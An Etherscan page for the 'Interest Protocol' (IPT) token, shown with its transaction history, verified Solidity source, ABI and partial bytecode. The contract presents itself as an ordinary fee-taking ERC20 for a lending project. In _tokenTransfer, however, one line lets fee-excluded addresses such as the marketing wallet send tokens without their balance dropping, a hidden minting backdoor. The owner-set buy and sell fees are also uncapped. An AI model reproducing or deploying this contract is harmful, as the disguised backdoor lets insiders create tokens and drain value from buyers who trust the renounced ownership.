ETH Price: $3,642.02 (+0.80%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve184128282023-10-23 11:59:59441 days ago1698062399IN
0x610FD938...6a1D33dd9
0 ETH0.0006742414.46749759
Approve184128262023-10-23 11:59:35441 days ago1698062375IN
0x610FD938...6a1D33dd9
0 ETH0.0005757212.36957481
Approve184128192023-10-23 11:58:11441 days ago1698062291IN
0x610FD938...6a1D33dd9
0 ETH0.0004867610.45821542
Approve184128122023-10-23 11:56:47441 days ago1698062207IN
0x610FD938...6a1D33dd9
0 ETH0.0005069110.88556814
Approve184127932023-10-23 11:52:59441 days ago1698061979IN
0x610FD938...6a1D33dd9
0 ETH0.0005873412.61920725
Approve184127912023-10-23 11:52:35441 days ago1698061955IN
0x610FD938...6a1D33dd9
0 ETH0.0006124913.15945198
Approve184127852023-10-23 11:51:23441 days ago1698061883IN
0x610FD938...6a1D33dd9
0 ETH0.0007135715.31153109
Approve184127752023-10-23 11:49:23441 days ago1698061763IN
0x610FD938...6a1D33dd9
0 ETH0.0006283913.48377261
Approve184127642023-10-23 11:47:11441 days ago1698061631IN
0x610FD938...6a1D33dd9
0 ETH0.0006466113.87456476
Approve184127622023-10-23 11:46:47441 days ago1698061607IN
0x610FD938...6a1D33dd9
0 ETH0.0006679514.33254859
Approve184127622023-10-23 11:46:47441 days ago1698061607IN
0x610FD938...6a1D33dd9
0 ETH0.0006679514.33254859
Approve184127622023-10-23 11:46:47441 days ago1698061607IN
0x610FD938...6a1D33dd9
0 ETH0.0006679514.33254859
Approve184127532023-10-23 11:44:59441 days ago1698061499IN
0x610FD938...6a1D33dd9
0 ETH0.000482510.36663861
Approve184127462023-10-23 11:43:35441 days ago1698061415IN
0x610FD938...6a1D33dd9
0 ETH0.0004892510.57975894
Approve184127342023-10-23 11:40:59441 days ago1698061259IN
0x610FD938...6a1D33dd9
0 ETH0.0004939310.59863725
Approve184127292023-10-23 11:39:59441 days ago1698061199IN
0x610FD938...6a1D33dd9
0 ETH0.0006110813.11221419
Approve184127122023-10-23 11:36:35441 days ago1698060995IN
0x610FD938...6a1D33dd9
0 ETH0.0006073513.03220231
Approve184127022023-10-23 11:34:35441 days ago1698060875IN
0x610FD938...6a1D33dd9
0 ETH0.0005669512.16547292
Approve184127012023-10-23 11:34:23441 days ago1698060863IN
0x610FD938...6a1D33dd9
0 ETH0.0006355113.63643182
Approve184126972023-10-23 11:33:35441 days ago1698060815IN
0x610FD938...6a1D33dd9
0 ETH0.0007131615.30666731
Approve184126902023-10-23 11:32:11441 days ago1698060731IN
0x610FD938...6a1D33dd9
0 ETH0.0007202415.45852497
Approve184126892023-10-23 11:31:59441 days ago1698060719IN
0x610FD938...6a1D33dd9
0 ETH0.0007158515.3643549
Approve184126842023-10-23 11:30:59441 days ago1698060659IN
0x610FD938...6a1D33dd9
0 ETH0.0007932517.02548489
Renounce Ownersh...184126832023-10-23 11:30:47441 days ago1698060647IN
0x610FD938...6a1D33dd9
0 ETH0.0003119813.35374881
Approve184126832023-10-23 11:30:47441 days ago1698060647IN
0x610FD938...6a1D33dd9
0 ETH0.0007169415.38374881
View all transactions

Latest 14 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127792023-10-23 11:50:11441 days ago1698061811
0x610FD938...6a1D33dd9
0.00087409 ETH
184127632023-10-23 11:46:59441 days ago1698061619
0x610FD938...6a1D33dd9
0.00094688 ETH
184127632023-10-23 11:46:59441 days ago1698061619
0x610FD938...6a1D33dd9
0.00094688 ETH
184127582023-10-23 11:45:59441 days ago1698061559
0x610FD938...6a1D33dd9
0.00139496 ETH
184127582023-10-23 11:45:59441 days ago1698061559
0x610FD938...6a1D33dd9
0.00139496 ETH
184127542023-10-23 11:45:11441 days ago1698061511
0x610FD938...6a1D33dd9
0.001145 ETH
184127542023-10-23 11:45:11441 days ago1698061511
0x610FD938...6a1D33dd9
0.001145 ETH
184126872023-10-23 11:31:35441 days ago1698060695
0x610FD938...6a1D33dd9
0.00100171 ETH
184126872023-10-23 11:31:35441 days ago1698060695
0x610FD938...6a1D33dd9
0.00100171 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
IPT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-23
*/

/**
Lend, borrow, earn yield. Save Simply.

Website: https://www.interestprotocol.org
Telegram: https://t.me/inter_erc
Twitter: https://twitter.com/inter_erc
*/

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract IPT is Context, IERC20, Ownable {
    string private _name = "Interest Protocol";
    string private _symbol = "IPT";
    uint8 private _decimals = 9;
    uint256 private _tSupply = 1_000_000_000 * 1e9;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxWallet;

    uint256 public minTokenToSwap = (_tSupply * 1) / (10000); 
    uint256 public maxWallet = (_tSupply * 2) / (100); 
    uint256 public maxTxnLimit = (_tSupply * 2) / (100); 
    uint256 public percentDivider = 1000;
    uint256 public launchedAt;

    bool public swapAndLiquifyStatus = false; 
    bool public feeStatus = false; 
    bool public tradingenabled = false; 

    IUniswapRouter public uniswapRouter; 

    address public routerPair; 
    address public marketingWallet; 
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public FeeOnBuying = 200;

    uint256 public FeeOnSelling = 200;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _tSupply;
        marketingWallet = payable(0x49d1A52ae7497eC9dB07547f367B270f1Dc22450);

        uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(uniswapRouter)] = true;
        isExcludedFromMaxTxn[address(uniswapRouter)] = true;
        isExcludedFromMaxWallet[address(uniswapRouter)] = true;

        routerPair = IDexFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isExcludedFromMaxWallet[routerPair] = true;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(this)] = true;
        isExcludedFromMaxWallet[marketingWallet] = true;

        emit Transfer(address(0), owner(), _tSupply);
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function includeOrExcludeFromMaxHolding(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxWallet[account] = value;
    }

    function setMinTokenToSwap(uint256 Limit, uint256 divisor) external onlyOwner {
        minTokenToSwap = (_tSupply * Limit) / (divisor);
    }

    function setMaxWallet(uint256 Limit, uint256 divisor) external onlyOwner {
        maxWallet =(_tSupply * Limit) / (divisor);
    }

    function setMaxTxn(uint256 Limit, uint256 divisor) external onlyOwner {
        maxTxnLimit = (_tSupply * Limit) / (divisor);
    }

    function setBuyTaxPercent(uint256 _buyFee) external onlyOwner {
        FeeOnBuying = _buyFee;
    }

    function setSellTaxPercent(uint256 _sellFee) external onlyOwner {
        FeeOnSelling = _sellFee;
    }

    function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
        swapAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feeStatus = _value;
    }

    function updateAddresses(address _marketingWallet) external onlyOwner {
        marketingWallet = _marketingWallet;
    }

    function removeLimits() external onlyOwner {
        FeeOnBuying = 10;
        FeeOnSelling = 10;
        maxWallet = _tSupply;
        maxTxnLimit = _tSupply;
    }

    function enableTrading() external onlyOwner {
        require(!tradingenabled, "already enabled");
        tradingenabled = true;
        feeStatus = true;
        swapAndLiquifyStatus = true;
        launchedAt = block.timestamp;
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnBuying) / (percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnSelling) / (percentDivider);
        return fee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxnLimit, "Amount exceeds Max txn limit");

            if (!tradingenabled) {
                require(
                    routerPair != from && routerPair != to,
                    "trading is not yet enabled"
                );
            }
        }

        if (!isExcludedFromMaxWallet[to]) {
            require(
                (balanceOf(to) + amount) <= maxWallet,
                "Amount exceeds Max Wallet limit"
            );
        }
        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (routerPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);
            tTransferAmount = amount - allFee;

            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (routerPair == recipient && takeFee) {
            if (amount > minTokenToSwap) {
                _SwapAndLiquify(sender, recipient);
            }
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else {
            uint256 allFee = 0;
            uint256 tTransferAmount;
            tTransferAmount = amount - allFee;
            if (isExcludedFromFee[sender] && tradingenabled) amount -=  tTransferAmount;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        _balances[address(this)] = _balances[address(this)] + (amount);

        emit Transfer(sender, address(this), amount);
    }

    function withdrawETH(uint256 _amount) external onlyOwner {
        require(address(this).balance >= _amount, "Invalid Amount");
        payable(msg.sender).transfer(_amount);
    }

    function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
        require(_token.balanceOf(address(this)) >= _amount, "Invalid Amount");
        _token.transfer(msg.sender, _amount);
    }

    function _SwapAndLiquify(address from, address to) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap;

        if (
            shouldSell &&
            from != routerPair &&
            swapAndLiquifyStatus &&
            !(from == address(this) && to == routerPair)
        ) {
            _approve(address(this), address(uniswapRouter), minTokenToSwap);

            dexswap.swapTokensForEth(address(uniswapRouter), minTokenToSwap);
            uint256 ethForMarketing = address(this).balance;

            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function includeOrExcludeFromFee(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }
}

library dexswap {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IUniswapRouter dexRouter = IUniswapRouter(routerAddress);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"enableOrDisableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxnLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"setBuyTaxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMinTokenToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setSellTaxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSwapAndLiquifyStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingenabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"updateAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526011608090815270125b9d195c995cdd08141c9bdd1bd8dbdb607a1b60a05260019062000032908262000625565b5060408051808201909152600381526212541560ea1b60208201526002906200005c908262000625565b506003805460ff19166009179055670de0b6b3a764000060048190556127109062000089906001620006f1565b6200009591906200071d565b600a5560646004546002620000ab9190620006f1565b620000b791906200071d565b600b5560646004546002620000cd9190620006f1565b620000d991906200071d565b600c556103e8600d55600f805462ffffff1916905560c860128190556013553480156200010557600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600454600560006200015f6000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b0319167349d1a52ae7497ec9db07547f367b270f1dc22450179055600f8054767a250d5630b4cf539739df2c5dacb4c659f2488d0000006301000000600160b81b0319909116178082556301000000908190048316865260078552838620805460ff199081166001908117909255835483900485168852600887528588208054821683179055835483900485168852600987529685902080549097161790955554825163c45a015560e01b81529251949004169263c45a0155926004808401939192918290030181865afa1580156200026b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000291919062000740565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031a919062000740565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000368573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038e919062000740565b601080546001600160a01b0319166001600160a01b039290921691821790556000908152600960205260408120805460ff1916600190811790915590600790620003e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600790925280822080548416600190811790915530835290822080549093168117909255600890620004506000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600890925280822080548416600190811790915530835290822080549093168117909255600990620004c06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260099093528183208054851660019081179091556011549091168352912080549092161790556200052a6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200057291815260200190565b60405180910390a362000772565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005ab57607f821691505b602082108103620005cc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200062057600081815260208120601f850160051c81016020861015620005fb5750805b601f850160051c820191505b818110156200061c5782815560010162000607565b5050505b505050565b81516001600160401b0381111562000641576200064162000580565b620006598162000652845462000596565b84620005d2565b602080601f831160018114620006915760008415620006785750858301515b600019600386901b1c1916600185901b1785556200061c565b600085815260208120601f198616915b82811015620006c257888601518255948401946001909101908401620006a1565b5085821015620006e15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200071757634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200073b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200075357600080fd5b81516001600160a01b03811681146200076b57600080fd5b9392505050565b611e8780620007826000396000f3fe60806040526004361061028c5760003560e01c806395d89b411161015a578063bf56b371116100c1578063f14210a61161007a578063f14210a6146107fa578063f2fde38b1461081a578063f3acb4d51461083a578063f4b3dbc31461085a578063f8b45b051461087a578063fe6f1b051461089057600080fd5b8063bf56b3711461071e578063dd62ed3e14610734578063e5685bed1461077a578063ea5b9e851461079a578063ed421429146107ba578063ee2e5a2e146107da57600080fd5b8063a643c1a011610113578063a643c1a01461065e578063a7c29b401461067e578063a9059cbb1461069e578063abe57e70146106be578063b0bc2a2d146106de578063b0cd6854146106fe57600080fd5b806395d89b411461059f57806399b102b5146105b45780639e281a98146105e45780639f6936e814610604578063a3f4782f1461061e578063a457c2d71461063e57600080fd5b80635342acb4116101fe578063751039fc116101b7578063751039fc146104f857806375f0a8741461050d5780637bf5316f1461052d5780638a8c523c1461054d5780638da5cb5b14610562578063958f97351461058057600080fd5b80635342acb414610410578063681aa362146104405780636dd3d39f1461045657806370a0823114610486578063715018a6146104bc578063735de9f7146104d157600080fd5b806328ac2d531161025057806328ac2d53146103485780632ce9a4ac146103805780632d129390146103965780632d461391146103b8578063313ce567146103ce57806339509351146103f057600080fd5b806306fdde0314610298578063095ea7b3146102c357806318160ddd146102f35780631884f1e61461031257806323b872dd1461032857600080fd5b3661029357005b600080fd5b3480156102a457600080fd5b506102ad6108a6565b6040516102ba9190611ad6565b60405180910390f35b3480156102cf57600080fd5b506102e36102de366004611b3c565b610938565b60405190151581526020016102ba565b3480156102ff57600080fd5b506004545b6040519081526020016102ba565b34801561031e57600080fd5b50610304600a5481565b34801561033457600080fd5b506102e3610343366004611b68565b61094f565b34801561035457600080fd5b50601054610368906001600160a01b031681565b6040516001600160a01b0390911681526020016102ba565b34801561038c57600080fd5b5061030460135481565b3480156103a257600080fd5b506103b66103b1366004611bb7565b6109a1565b005b3480156103c457600080fd5b5061030460125481565b3480156103da57600080fd5b5060035460405160ff90911681526020016102ba565b3480156103fc57600080fd5b506102e361040b366004611b3c565b6109ff565b34801561041c57600080fd5b506102e361042b366004611bf0565b60076020526000908152604090205460ff1681565b34801561044c57600080fd5b50610304600c5481565b34801561046257600080fd5b506102e3610471366004611bf0565b60096020526000908152604090205460ff1681565b34801561049257600080fd5b506103046104a1366004611bf0565b6001600160a01b031660009081526005602052604090205490565b3480156104c857600080fd5b506103b6610a36565b3480156104dd57600080fd5b50600f5461036890630100000090046001600160a01b031681565b34801561050457600080fd5b506103b6610aaa565b34801561051957600080fd5b5